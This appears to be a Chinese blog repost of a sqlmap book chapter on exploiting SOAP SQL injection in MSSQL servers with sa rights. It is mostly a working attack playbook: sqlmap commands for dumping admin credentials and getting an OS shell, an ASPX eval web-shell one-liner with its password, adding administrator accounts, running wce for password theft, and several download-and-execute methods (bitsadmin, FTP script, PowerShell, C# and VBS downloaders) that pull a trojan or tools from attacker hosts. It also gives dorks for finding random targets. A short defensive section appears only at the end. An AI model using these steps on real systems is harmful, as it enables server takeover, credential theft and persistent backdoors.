zoukankan      html  css  js  c++  java
  • sqlmap从入门到精通-第六章-6-4 SOAP注入MSSQL数据库sa权限处理思路及实战

    6.4 SOAP注入MSSQL数据库sa权限处理思路及实战

    6.4.1 注入点获取webshell及服务器权限思路

    讨论一下通过注入点如何获取webshell的思路及服务器权限

    下面有些是前面章节提到过的内容,重要常用的东西还是得每次都提一下

    1. 普通权限SQL注入获取webshell思路

    (1) 通过sqlmap对注入点进行测试,获取数据库管理表

    (2) 主要用到sqlmap命令

    sqlmap.py -u url 或者 sqlmap.py -r bmfx.txt  bmfx.txt是抓包得http请求

    sqlmap.py -u url --current-db

    sqlmap.py -u url --current-user

    sqlmap.py -u url -D databasename --tables

    sqlmap.py -u url -D databasename -T admin --column

    sqlmap.py -u url -D databasename -T admin --count

    sqlmap.py -u url -D databasename -T admin --dump

    (3) 管理员表密码破解

    可以对管理员表admin得密码进行分析和破解,在线破解网站cmd5和somd5网站进行破解,但是对于变异加密只能通过已知密码进行猜测和对比

    (4) 扫描后台登录地址

    使用小萝卜头Havij,御剑等工具进行后台地址扫描,也可以通过Google进行搜索,例如:site:xxx.com  login

    (5) 登录后台,寻找上传漏洞或者其他漏洞

    (6) 获取webshell

    2. sa权限注入点可直连数据库处理思路

    (1) 注入点确认测试

    sqlmap.py -u url 或者 sqlmap.py -r bmfx.txt

    (2) 判断当前注入点类型,判断为DBA权限则继续,否则放弃

    sqlmap.py -u url --is-dba 或者 sqlmap.py -r bmfx.txt --is-dba

    (3) 获取数据库密码

    sqlmap.py -u url --password

    (4) 对服务器IP地址进行扫描

    nmap -sS -Pn -A 192.168.1.2

    masscan -p 1-63522 192.168.1.2

    (5) 对sa口令进行破解

    在cmd5网站可以对MSSQL和MSSQL 2012进行密码暴力破解

    (6) 尝试使用SQLTOOLS, SQL查询分析器,SQL客户端程序,Navicat Premium, Navicat for SQL Server 进行数据库的连接,如果能够成功连接,就尝试使用xp_cmdshell存储过程恢复并执行命令

    具体关于xp_cmdshell的操作可以看前面的章节

    3. sqlmap对注入点进行利用获取webshell及权限思路

    (1) 通过sqlmap注入点进行测试,确认存在漏洞

    sqlmap.py -u url 或者 sqlmap.py -r bmfx.txt

    (2) 确认为sa权限

    sqlmap.py -u url --is-dba 返回结果是True证明为DBA权限

    (3) 直接获取os-shell

    sqlmap.py -u url --os-shell

    (4) 通过--os-shell进行权限及命令执行测试

    whoami,ipconfig,ifconfig,netstat -tunlpa,

    (5) 直接系统权限

    如果当前注入点获取的os-shell是系统权限,Windows环境下,那么就直接添加用户即可

    注意:有些系统需要密码复杂度验证,如果不通过,则可以修改已知用户密码来实现,如果获取的是非系统权限,低权限用户则继续

    (6) 同dir命令寻找网站根目录

    dir c:

    (7) echo文件命令到服务器进行测试

    echo test > D:webmfx.txt

    (8) 查看文件内容

    type D:webweb.config

    (9) 访问网站测试

    在浏览器中直接打开目标的url地址,例如:http://10.2.2.3/bmfx.txt ,如果能够正常显示则意味着离获取webshell越来越近了

    (10) echo一句话后门

    echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["pass"],"unsafe");%^>> D:wwwwebcms.aspx '

    其他后门类似,需要注意的是使用"^"符号来处理重定向符号

    (11) 获取webshell

    一句话后门地址为http://10.1.1.2/webcms.aspx 密码是pass

    (12) 生成系统信息文件

    systeminifo > bmfxtg.txt

    (13) Windows-Exploit-Suggester分析目标补丁更新情况

    这里我前面章节详细讲到过,可以翻看前面的章节,这个有点过时,具体到后面讲解的时候看看有没有新的方法

    (14) 下载Windows exp进行提权测试

    https://github.com/AonCyberLabs/Windows-Exploit-Suggester

    https://blog.gdssecurity.com/labs/2014/7/11/introducing-windows-exploit-suggester.html

    记住下面命令进行查询

    wmic qfe get Caption,Description,HotFixID,InstalledOn

    wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" /C:"KB4018483"

    (15) 获取系统权限

    使用exp得时候,有3种思路,第一种是直接添加用户,第二种是获取当前登录系统得明文密码,第三种是反弹木马,一般exp命令如下:

    expn0day "net user bmfx bmfx /add"

    expn0day "net localgroup administrators bmfx /add"

    expn0day "net localgroup administrators"

    expn0day "wce -w" //将wce程序上传至目标目录里面执行

    expn0day "muma.exe" // 上传至目标,进行反弹,或者使用MSF生成反弹木马

    4. 成功率比较高得ms16-075提权方法

    这个上一章节讲过

    6.4.2 渗透中命令提示符下得文件上传方法

    使用sqlmap进行漏洞测试的时候,有时需要上传文件,在各种反弹shell中也是需要进行文件的上传,下面是收集的一些文件上传的方法

    1. sqlmap自带文件上传方法

    (1) Kali下上传bmfx.vbs文件到目标系统的C盘根目录

    sqlmap.py -r bmfx.txt --file-write="/root/bmfx.vbs" --file-dest="D:mfx.vbs"

    (2) Windows下将wce上传至目标D盘根目录

    sqlmap.py -r bmfx.txt --file-write="C: oolsqlmapwce.exe" --file-dest="D:wce.exe"

    2. bitsadmin上传

    bitsadmin /transfer myjob1 /download /priority normal http://www.ss.com/data/wce.exe D:wce.exe

    bitsadmin /transfer n http://www.ss.com/data/wce.exe D:wce.exe

    3. FTP下载方法

    需要有公网IP地址,假设192.168.1.33为公网IP地址,且提供了FTP服务,可以使用系统自带的,也可以使用第三方软件搭建的FTP服务,通过创建FTP账号和密码是ftp,进行逐行执行即可

    echo open 192.168.1.33 21 > ftp.txt

    echo ftp >> ftp.txt

    echo bin >> ftp.txt

    echo ftp >> ftp.txt

    echo GET muma.exe >> ftp.txt

    ftp -s:ftp.txt

    4. powershell下载

    powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.33/wce.exe', 'D:wce.exe')

    5. csc法

    csc.exe 是微软.NET Framework中C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe

    (1) download.cs代码

    using System.Net;

    namespace downloader

    {

    class Program

    {

    static void Main(string[] args)

    {

    WebClient client = new WebClient();

    string URLAddress = @"http://192.168.1.33/wce.exe";

    string receivePath = @"C: estupdate";

    client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName

    (URLAddress));

    }

    }

    }

    (2) 执行编译过程

    C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:C: estupdatedownload.exe C: estupdatedownload.cs

    (3) 执行download.exe 文件即可下载

    实际测试的时候把上面的下载地址换成自己的实际地址即可

    6. echo vbs XMLHTTP方法下载

    (1) echo脚本

    echo Set xPost = CreateObject("Microsoft.XMLHTTP") > bmfx.vbs

    echo xPost.Open "GET","http://192.168.1.33/data/wce.exe", 0 >> bmfx.vbs

    echo xPost.Send() >> bmfx.vbs

    echo Set sGet = CreateObject("ADODB.Stream") >> bmfx.vbs

    echo sGet.Mode = 3 >> bmfx.vbs

    echo sGet.Type = 1 >> bmfx.vbs

    echo sGet.Open() >> bmfx.vbs

    echo sGet.Write(xPost.responseBody) >> bmfx.vbs

    echo sGet.SaveToFile "bmfx.exe", 2 >> bmfx.vbs

    (2) 执行bmfx.vbs

    cscript bmfx.vbs

    7. Msxml2.XMLHTTP vbs脚本法下载并执行

    Set Post = CreateObject("Msxml2.XMLHTTP")

    Set Shell = CreateObject("Wscript.Shell")

    Post.Open "GET","http://192.168.1.33/data/wce.exe", 0

    Post.Send()

    Set aGet = CreateObject("ADODB.Stream")

    aGet.Mode = 3

    aGet.Type = 1

    aGet.Open()

    aGet.Write(Post.responseBody)

    aGet.SaveToFile "C:wce.exe", 2

    wscript.sleep 10000

    Shell.Run ("C:wce.exe") //延后执行下载文件

    8. exe2bat转换exe为bat

    有单独的脚本,可以将exe转换为bat,但是如果文件过大,将可能导致出错

    6.4.3 SOAP注入漏洞扫描及发现

    1. 随机寻找目标

    (1) 使用搜索引擎搜索asmx关键字,在百度或者谷歌搜索inurl:Service.asmx

    (2) 使用fofa网站对关键字.asmx 进行检索,也可以使用zoomeye和shodan进行搜索,使用不同的关键字效果会比较好

    intext:word, intitle:word进行搜索

    2. 定向目标SOAP注入发现

    对目标站点的页面进行源代码查看,在其中搜索asmx关键字,搜索出来之后在浏览器中进行访问

    3. 漏洞扫描

    使用AWVS进行扫描

    4. 保存HTTP header文件

    如果使用AWVS扫描出来了漏洞,找到"View HTTP headers" 复制出来保存文本文件为bmfx.txt 将其中标记为payload的位置改成-1* 然后使用sqlmap -r bmfx.txt进行注入测试

    6.4.4 使用sqlmap对SOAP注入点进行验证和测试

    下面都是常规套路,跟前面章节讲的都是一样的

    1. 确认SQL注入点

    2. 查看DBA权限

    3. 获取os-shell

    4. 测试DoS命令执行情况,获取系统信息

    例如:ipconfig, netstat -ano, whoami, net user

    5. 使用sqlmap进行文件上传测试

    (1) 上传vbs文件

    (2) 在服务器上查看上传的文件

    dir C:*.vbs

    cscript C:mfx.vbs

    (3) 命令成功,却无法下载

    上传文件未成功

    bitsadmin /transfer myjob1 /download /priority normal http://www.ss.com/data/wce.exe D:wce.exe

    使用下面的方式进行下载

    bitsadmin /transfer n http://www.ss.com/data/wce.exe D:wce.exe

    6.4.5 获取服务器权限

    1. 添加和修改用户命令

    (1) 直接添加用户命令

    (2) 修改用户口令

    2. 登录目标服务器远程桌面

    3. 获取服务器其他账号密码

    6.4.6 渗透总结与防御

    1. 渗透总结

    本节对如何利用SQL注入点获取webshell及服务器权限进行了探讨,通过一个实际例子介绍了如何利用sqlmap获取系统权限,sqlmap进行os-shell操作,其回显会因为网络相关原因显示较慢,存在实际延迟

    2. 安全检查与防御

    (1) sqlmap安全检查

    利用os-shell命令进行渗透,会在SQL Server当前数据库中创建sqlmapoutput这个表,可以针对性的检查,如果发现存在

    这个表,则意味着服务器Web程序可能存在高危注入漏洞

    (2) 其他安全检查和安全加固

    登录目标服务器之后,通过简单的查看服务,发现服务器上存在后门文件,说明早期有人入侵过,建议对服务器进行彻底安全检查,同时降低数据库账号权限,按照安全防护软件

    文件下载参考:

    https://www.secpulse.com/archives/44450.html

    https://www.dazhuanlan.com/2019/12/14/5df3dc3fbeeb9/

    https://www.dazhuanlan.com/2020/03/07/5e6354ece7a67/


     
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    win7(windows 7)系统下安装SQL2005(SQL Server 2005)图文教程( Win7 SQL Server2005 安装教程)
    PL/SQL -->隐式游标(SQL%FOUND)
    sql%found sql%notfound sql%rowcount sql%isopen
    C# WINFORM 窗体执行ORACLE存储过程 进行增删改查 自己编写借助网络(二)
    C# WINFORM 窗体执行ORACLE存储过程 进行增删改查 自己编写借助网络
    .net 接收存储过程的返回值 。。。。
    oracle-扫盲贴:存储过程实现增删改查
    sql加一个%号是什么意思
    关于ExecuteNonQuery执行存储过程的返回值 、、实例讲解存储过程的返回值与传出参数、、、C#获取存储过程的 Return返回值和Output输出参数值
    iOS网络请求之数据解析
  • 原文地址:https://www.cnblogs.com/autopwn/p/13366485.html
Copyright © 2011-2022 走看看